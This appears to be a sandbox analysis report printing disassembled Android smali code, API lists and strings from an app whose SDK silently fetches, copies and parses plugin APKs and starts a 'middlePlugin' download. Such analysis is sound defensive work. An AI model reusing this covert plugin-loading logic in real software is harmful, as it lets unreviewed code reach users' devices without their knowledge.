                              138invoke-virtual {v3, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              140invoke-virtual {v5, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              141goto/16 :goto_21
                              142cond_c4: new-instance v3, Lorg/json/JSONArray;
                              144invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                              145goto/16 :goto_bc
                              146cond_ca:
                              147invoke-virtual {v4}, Lorg/json/JSONObject;->length()I
                              148move-result v0
                              149if-lez v0, :cond_10b
                              150new-instance v3, Lorg/json/JSONArray;
                              152invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                              154invoke-virtual {v4}, Lorg/json/JSONObject;->keys()Ljava/util/Iterator;
                              155move-result-object v6
                              156cond_d9:
                              157invoke-interface {v6}, Ljava/util/Iterator;->hasNext()Z
                              158move-result v0
                              159if-eqz v0, :cond_100
                              160new-instance v7, Lorg/json/JSONObject;
                              162invoke-direct {v7}, Lorg/json/JSONObject;-><init>()V
                              164invoke-interface {v6}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              165move-result-object v0
                              166check-cast v0, Ljava/lang/String;
                              168invoke-virtual {v4, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
                              169move-result-object v8
                              170new-instance v9, Lorg/json/JSONArray;
                              172invoke-direct {v9, v8}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                              174invoke-virtual {v7, v0, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              176invoke-virtual {v7}, Lorg/json/JSONObject;->length()I
                              177move-result v0
                              178if-lez v0, :cond_d9
                              180invoke-virtual {v3, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              181goto/16 :goto_d9
                              182cond_100:
                              183invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                              184move-result v0
                              185if-lez v0, :cond_10b
                              187const-string v0, "ekv"
                              189invoke-virtual {p1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              190cond_10b:
                              191invoke-virtual {v5}, Lorg/json/JSONObject;->length()I
                              192move-result v0
                              193if-lez v0, :cond_14c
                              194new-instance v3, Lorg/json/JSONArray;
                              196invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                              198invoke-virtual {v5}, Lorg/json/JSONObject;->keys()Ljava/util/Iterator;
                              199move-result-object v4
                              200cond_11a:
                              201invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              202move-result v0
                              203if-eqz v0, :cond_141
                              204new-instance v6, Lorg/json/JSONObject;
                              206invoke-direct {v6}, Lorg/json/JSONObject;-><init>()V
                              208invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              209move-result-object v0
                              210check-cast v0, Ljava/lang/String;
                              212invoke-virtual {v5, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
                              213move-result-object v7
                              214new-instance v8, Lorg/json/JSONArray;
                              216invoke-direct {v8, v7}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                              218invoke-virtual {v6, v0, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              220invoke-virtual {v6}, Lorg/json/JSONObject;->length()I
                              221move-result v0
                              222if-lez v0, :cond_11a
                              224invoke-virtual {v3, v6}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              225goto/16 :goto_11a
                              226cond_141:
                              227invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                              228move-result v0
                              229if-lez v0, :cond_14c
                              231const-string v0, "gkv"
                              233invoke-virtual {p1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              234cond_14c:
                              235invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->setTransactionSuccessful()V
                              236try_end_14f: if-eqz v1, :cond_154
                              238invoke-interface {v1}, Landroid/database/Cursor;->close()V
                              239cond_154:
                              240invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              242sget-object v0, Lb/a/cx;->a:Landroid/content/Context;
                              244invoke-static {v0}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              245move-result-object v0
                              247invoke-virtual {v0}, Lb/a/cv;->b()V
                              248goto/16 :goto_89
                              249catchall_162: move-exception v1
                              250move-object v2, v0
                              251move-object v10, v0
                              252move-object v0, v1
                              253move-object v1, v10
                              254goto/16 :goto_91
                              255catchall_169: move-exception v1
                              256move-object v10, v1
                              257move-object v1, v0
                              258move-object v0, v10
                              259goto/16 :goto_91
                              260catch_16f: move-exception v1
                              261move-object v1, v0
                              262goto/16 :goto_78
                              263catch_173: move-exception v1
                              264move-object v1, v2
                              265goto/16 :goto_78
                              266nop
                              APIs
                              • java.util.ArrayList.<init>
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.exists
                              • java.io.File.canRead
                              • java.lang.StringBuilder.<init>
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.exists
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.canRead
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getCacheDir
                              • java.lang.StringBuilder.<init>
                              • java.io.File.getName
                              • java.lang.String.hashCode
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.pm.PackageParser$Package.activities:Ljava/util/ArrayList
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.processName:Ljava/lang/String
                              • android.content.Intent.getComponent
                              • android.content.pm.PackageParser$Activity.getComponentName
                              • android.content.ComponentName.getClassName
                              • android.content.Intent.getComponent
                              • android.content.ComponentName.getClassName
                              • java.lang.String.equals
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.name:Ljava/lang/String
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • java.util.List.add
                              • android.content.pm.PackageParser$Activity.intents:Ljava/util/ArrayList
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.name:Ljava/lang/String
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • java.util.List.add
                              • android.content.pm.PackageParser$Package.receivers:Ljava/util/ArrayList
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.processName:Ljava/lang/String
                              • android.content.pm.PackageParser$Activity.intents:Ljava/util/ArrayList
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.name:Ljava/lang/String
                              • android.content.pm.PackageParser$Activity.info:Landroid/content/pm/ActivityInfo
                              • java.util.List.add
                              • android.content.pm.PackageParser$Package.services:Ljava/util/ArrayList
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageParser$Service.info:Landroid/content/pm/ServiceInfo
                              • android.content.pm.ServiceInfo.processName:Ljava/lang/String
                              • android.content.pm.PackageParser$Service.intents:Ljava/util/ArrayList
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageParser$Service.info:Landroid/content/pm/ServiceInfo
                              • android.content.pm.ServiceInfo.name:Ljava/lang/String
                              • android.content.pm.PackageParser$Service.info:Landroid/content/pm/ServiceInfo
                              • java.util.List.add
                              Strings
                              • exists
                              • canRead
                              • .apk
                              • parser package fail:
                              • create temp file fail
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Landroid/content/Context;",
                              4"I",
                              5"Landroid/content/Intent;",
                              6")",
                              7"Ljava/lang/Iterable",
                              8"<",
                              9"Lcom/omg/base/ComponentQuery$Component;",
                              10">;"
                              11}
                              12.end annotation
                              13.prologue
                              14const/4 v3, 0x0
                              15new-instance v2, Ljava/util/ArrayList;
                              17invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
                              19iget-object v0, p0, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->c:Landroid/content/pm/PackageParser$Package;
                              20if-nez v0, :cond_e2
                              21try_start_a:
                              22invoke-static {}, Lcom/omg/plugin/PluginManager;->current()Lcom/omg/plugin/PluginManager;
                              23move-result-object v0
                              25iget-object v1, p0, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->b:Ljava/lang/String;
                              27invoke-virtual {v0, v1}, Lcom/omg/plugin/PluginManager;->get(Ljava/lang/String;)Lcom/omg/plugin/PluginInfo;
                              28try_end_13: move-result-object v1
                              29new-instance v4, Ljava/io/File;
                              31invoke-virtual {v1}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              32move-result-object v0
                              34invoke-direct {v4, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              36invoke-virtual {v4}, Ljava/io/File;->exists()Z
                              37move-result v0
                              38if-nez v0, :cond_2e
                              39try_start_23:
                              40invoke-static {}, Lcom/omg/plugin/PluginManager;->current()Lcom/omg/plugin/PluginManager;
                              41move-result-object v0
                              43invoke-virtual {v1}, Lcom/omg/plugin/PluginInfo;->getName()Ljava/lang/String;
                              44move-result-object v5
                              46invoke-virtual {v0, v5}, Lcom/omg/plugin/PluginManager;->installFromAssets(Ljava/lang/String;)Lcom/omg/plugin/PluginInfo;
                              47try_end_2e:
                              48invoke-virtual {v4}, Ljava/io/File;->exists()Z
                              49move-result v0
                              50if-eqz v0, :cond_3a
                              52invoke-virtual {v4}, Ljava/io/File;->canRead()Z
                              53move-result v0
                              54if-nez v0, :cond_79
                              55cond_3a: new-instance v0, Ljava/lang/StringBuilder;
                              57invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              59invoke-virtual {v4}, Ljava/io/File;->getPath()Ljava/lang/String;
                              60move-result-object v1
                              62invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              63move-result-object v0
                              65const-string/jumbo v1, "exists "
                              67invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              68move-result-object v0
                              70invoke-virtual {v4}, Ljava/io/File;->exists()Z
                              71move-result v1
                              73invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              74move-result-object v0
                              76const-string/jumbo v1, " canRead "
                              78invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              79move-result-object v0
                              81invoke-virtual {v4}, Ljava/io/File;->canRead()Z
                              82move-result v1
                              84invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              85move-result-object v0
                              87invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              88move-result-object v0
                              90invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              91move-object v0, v2
                              92goto_6d: return-object v0
                              93catch_6e: move-exception v0
                              95invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              96move-object v0, v3
                              97goto/16 :goto_6d
                              98catch_74: move-exception v0
                              100invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              101goto/16 :goto_2e
                              102cond_79: new-instance v0, Ljava/io/File;
                              104invoke-virtual {p1}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              105move-result-object v5
                              106new-instance v6, Ljava/lang/StringBuilder;
                              108invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              110invoke-virtual {v4}, Ljava/io/File;->getName()Ljava/lang/String;
                              111move-result-object v7
                              113invoke-virtual {v7}, Ljava/lang/String;->hashCode()I
                              114move-result v7
                              116invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              117move-result-object v6
                              119invoke-static {p1}, Lcom/omg/android/tool/ProcessHelper;->getCurrentProcessName(Landroid/content/Context;)Ljava/lang/String;
                              120move-result-object v7
                              122invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              123move-result-object v6
                              125const-string/jumbo v7, ".apk"
                              127invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              128move-result-object v6
                              130invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              131move-result-object v6
                              133invoke-direct {v0, v5, v6}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              135invoke-static {v4, v0}, Lcom/omg/tool/IOManager;->moveTo(Ljava/io/File;Ljava/io/File;)V
                              136try_end_a9:
                              137invoke-direct {p0, v0}, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->a(Ljava/io/File;)Landroid/content/pm/PackageParser$Package;
                              138move-result-object v4
                              139iput-object v4, p0, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->c:Landroid/content/pm/PackageParser$Package;
                              141invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              142move-result v4
                              143if-eqz v4, :cond_b8
                              145invoke-virtual {v0}, Ljava/io/File;->delete()Z
                              146cond_b8:
                              147iget-object v0, p0, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->c:Landroid/content/pm/PackageParser$Package;
                              148if-nez v0, :cond_e2
                              149new-instance v0, Ljava/lang/StringBuilder;
                              151invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              153const-string/jumbo v3, "parser package fail: "
                              155invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              156move-result-object v0
                              158invoke-virtual {v1}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              159move-result-object v1
                              161invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              162move-result-object v0
                              164invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              165move-result-object v0
                              167invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              168move-object v0, v2
                              169goto/16 :goto_6d
                              170catch_d9: move-exception v0
                              172const-string/jumbo v0, "create temp file fail"
                              174invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              175move-object v0, v2
                              176goto/16 :goto_6d
                              177cond_e2: packed-switch p2, :pswitch_data_1e2
                              178goto_e5: move-object v0, v2
                              179goto/16 :goto_6d
                              180pswitch_e7:
                              181iget-object v0, p0, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->c:Landroid/content/pm/PackageParser$Package;
                              183iget-object v0, v0, Landroid/content/pm/PackageParser$Package;->activities:Ljava/util/ArrayList;
                              185invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              186move-result-object v4
                              187cond_ef:
                              188invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              189move-result v0
                              190if-eqz v0, :cond_e5
                              192invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              193move-result-object v0
                              194check-cast v0, Landroid/content/pm/PackageParser$Activity;
                              196iget-object v1, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              198iget-object v1, v1, Landroid/content/pm/ActivityInfo;->processName:Ljava/lang/String;
                              200invoke-virtual {p0, p1, v1}, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              201move-result v1
                              202if-eqz v1, :cond_ef
                              204invoke-virtual {p3}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                              205move-result-object v1
                              206if-eqz v1, :cond_130
                              208invoke-virtual {v0}, Landroid/content/pm/PackageParser$Activity;->getComponentName()Landroid/content/ComponentName;
                              209move-result-object v1
                              211invoke-virtual {v1}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
                              212move-result-object v1
                              214invoke-virtual {p3}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                              215move-result-object v5
                              217invoke-virtual {v5}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
                              218move-result-object v5
                              220invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              221move-result v1
                              222if-eqz v1, :cond_130
                              223new-instance v1, Lcom/omg/base/ComponentQuery$Component;
                              225iget-object v4, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              227iget-object v4, v4, Landroid/content/pm/ActivityInfo;->name:Ljava/lang/String;
                              229iget-object v0, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              231invoke-direct {v1, p0, v3, v4, v0}, Lcom/omg/base/ComponentQuery$Component;-><init>(Lcom/omg/base/ComponentQuery;Landroid/content/IntentFilter;Ljava/lang/String;Ljava/lang/Object;)V
                              233invoke-interface {v2, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              234goto/16 :goto_e5
                              235cond_130:
                              236iget-object v1, v0, Landroid/content/pm/PackageParser$Activity;->intents:Ljava/util/ArrayList;
                              238invoke-virtual {v1}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              239move-result-object v5
                              240cond_136:
                              241invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                              242move-result v1
                              243if-eqz v1, :cond_ef
                              245invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              246move-result-object v1
                              247check-cast v1, Landroid/content/pm/PackageParser$ActivityIntentInfo;
                              249invoke-direct {p0, p1, v1, p3}, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->a(Landroid/content/Context;Landroid/content/IntentFilter;Landroid/content/Intent;)Z
                              250move-result v6
                              251if-eqz v6, :cond_136
                              252new-instance v5, Lcom/omg/base/ComponentQuery$Component;
                              254iget-object v6, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              256iget-object v6, v6, Landroid/content/pm/ActivityInfo;->name:Ljava/lang/String;
                              258iget-object v0, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              260invoke-direct {v5, p0, v1, v6, v0}, Lcom/omg/base/ComponentQuery$Component;-><init>(Lcom/omg/base/ComponentQuery;Landroid/content/IntentFilter;Ljava/lang/String;Ljava/lang/Object;)V
                              262invoke-interface {v2, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              263goto/16 :goto_ef
                              264pswitch_157:
                              265iget-object v0, p0, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->c:Landroid/content/pm/PackageParser$Package;
                              267iget-object v0, v0, Landroid/content/pm/PackageParser$Package;->receivers:Ljava/util/ArrayList;
                              269invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              270move-result-object v3
                              271cond_15f:
                              272invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              273move-result v0
                              274if-eqz v0, :cond_e5
                              276invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              277move-result-object v0
                              278check-cast v0, Landroid/content/pm/PackageParser$Activity;
                              280iget-object v1, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              282iget-object v1, v1, Landroid/content/pm/ActivityInfo;->processName:Ljava/lang/String;
                              284invoke-virtual {p0, p1, v1}, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              285move-result v1
                              286if-eqz v1, :cond_15f
                              288iget-object v1, v0, Landroid/content/pm/PackageParser$Activity;->intents:Ljava/util/ArrayList;
                              290invoke-virtual {v1}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              291move-result-object v4
                              292cond_17b:
                              293invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              294move-result v1
                              295if-eqz v1, :cond_15f
                              297invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              298move-result-object v1
                              299check-cast v1, Landroid/content/pm/PackageParser$ActivityIntentInfo;
                              301invoke-direct {p0, p1, v1, p3}, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->a(Landroid/content/Context;Landroid/content/IntentFilter;Landroid/content/Intent;)Z
                              302move-result v5
                              303if-eqz v5, :cond_17b
                              304new-instance v5, Lcom/omg/base/ComponentQuery$Component;
                              306iget-object v6, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              308iget-object v6, v6, Landroid/content/pm/ActivityInfo;->name:Ljava/lang/String;
                              310iget-object v7, v0, Landroid/content/pm/PackageParser$Activity;->info:Landroid/content/pm/ActivityInfo;
                              312invoke-direct {v5, p0, v1, v6, v7}, Lcom/omg/base/ComponentQuery$Component;-><init>(Lcom/omg/base/ComponentQuery;Landroid/content/IntentFilter;Ljava/lang/String;Ljava/lang/Object;)V
                              314invoke-interface {v2, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              315goto/16 :goto_17b
                              316pswitch_19c:
                              317iget-object v0, p0, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->c:Landroid/content/pm/PackageParser$Package;
                              319iget-object v0, v0, Landroid/content/pm/PackageParser$Package;->services:Ljava/util/ArrayList;
                              321invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              322move-result-object v3
                              323goto_1a4:
                              324invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              325move-result v0
                              326if-eqz v0, :cond_e5
                              328invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              329move-result-object v0
                              330check-cast v0, Landroid/content/pm/PackageParser$Service;
                              332iget-object v1, v0, Landroid/content/pm/PackageParser$Service;->info:Landroid/content/pm/ServiceInfo;
                              334iget-object v1, v1, Landroid/content/pm/ServiceInfo;->processName:Ljava/lang/String;
                              336invoke-virtual {p0, p1, v1}, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              337move-result v1
                              338if-eqz v1, :cond_1a4
                              340iget-object v1, v0, Landroid/content/pm/PackageParser$Service;->intents:Ljava/util/ArrayList;
                              342invoke-virtual {v1}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              343move-result-object v4
                              344cond_1c0:
                              345invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              346move-result v1
                              347if-eqz v1, :cond_1a4
                              349invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              350move-result-object v1
                              351check-cast v1, Landroid/content/pm/PackageParser$ServiceIntentInfo;
                              353invoke-direct {p0, p1, v1, p3}, Lcom/omg/base/ComponentQuery$AndroidComponentQuery;->a(Landroid/content/Context;Landroid/content/IntentFilter;Landroid/content/Intent;)Z
                              354move-result v5
                              355if-eqz v5, :cond_1c0
                              356new-instance v4, Lcom/omg/base/ComponentQuery$Component;
                              358iget-object v5, v0, Landroid/content/pm/PackageParser$Service;->info:Landroid/content/pm/ServiceInfo;
                              360iget-object v5, v5, Landroid/content/pm/ServiceInfo;->name:Ljava/lang/String;
                              362iget-object v0, v0, Landroid/content/pm/PackageParser$Service;->info:Landroid/content/pm/ServiceInfo;
                              364invoke-direct {v4, p0, v1, v5, v0}, Lcom/omg/base/ComponentQuery$Component;-><init>(Lcom/omg/base/ComponentQuery;Landroid/content/IntentFilter;Ljava/lang/String;Ljava/lang/Object;)V
                              366invoke-interface {v2, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              367goto/16 :goto_1a4
                              368nop
                              APIs
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.lang.String.equals
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.lang.String.equals
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.lang.System.currentTimeMillis
                              • java.lang.Long.valueOf
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.util.List.isEmpty
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.util.List.size
                              • java.util.List.get
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.equals
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.andoclib.Admob$2.a:Landroid/content/Context
                              Strings
                              • Admob requestMiddle
                              • ReportSdk
                              • false
                              • true
                              • RunChecker_3
                              • RunChecker_2
                              • lastRequestMiddle
                              • middlePlugin
                              • request middlePlugin failed
                              • -1
                              • PluginRequestFailed
                              • \u63d2\u4ef6\u83b7\u53d6\u5931\u8d25
                              • plugin =
                              • , name =
                              • , version =
                              • appleid
                              • middleVersionCode =
                              • \u5f00\u59cb\u4e0b\u8f7d
                              • , connectChanged =
                              • connectChanged is
                              • Middle
                              • middlePlugin start download; name =
                              • version =
                              • PluginDownloadBegin
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v9, 0x3
                              2const/4 v8, 0x2
                              3const/4 v6, 0x0
                              4const/4 v7, 0x1
                              6iget-object v0, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              7new-instance v1, Lcom/omgSdk/outport/RunChecker$RunCheckImpl;
                              9iget-object v2, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              11invoke-direct {v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckImpl;-><init>(Landroid/content/Context;)V
                              13invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->getInstance(Landroid/content/Context;Lcom/omgSdk/outport/RunChecker$RunCheckInterface;)Lcom/omgSdk/outport/RunChecker;
                              14move-result-object v0
                              15new-instance v1, Lcom/omgSdk/andoclib/Admob$a;
                              17iget-object v2, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              19invoke-direct {v1, v2}, Lcom/omgSdk/andoclib/Admob$a;-><init>(Landroid/content/Context;)V
                              21const-string/jumbo v2, "Admob requestMiddle "
                              23invoke-virtual {v0, v2}, Lcom/omgSdk/outport/RunChecker;->freedomCheck(Ljava/lang/String;)Z
                              24move-result v2
                              25if-nez v2, :cond_50
                              27invoke-virtual {v0, v1}, Lcom/omgSdk/outport/RunChecker;->setCallBack(Lcom/omgSdk/outport/RunChecker$Callback;)V
                              29iget-object v1, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              31invoke-static {v1}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              32move-result-object v1
                              34const-string/jumbo v2, "ReportSdk"
                              36const-string/jumbo v3, "false"
                              38invoke-virtual {v1, v2, v3}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              39move-result-object v1
                              41const-string/jumbo v2, "true"
                              43invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              44move-result v1
                              45if-eqz v1, :cond_4f
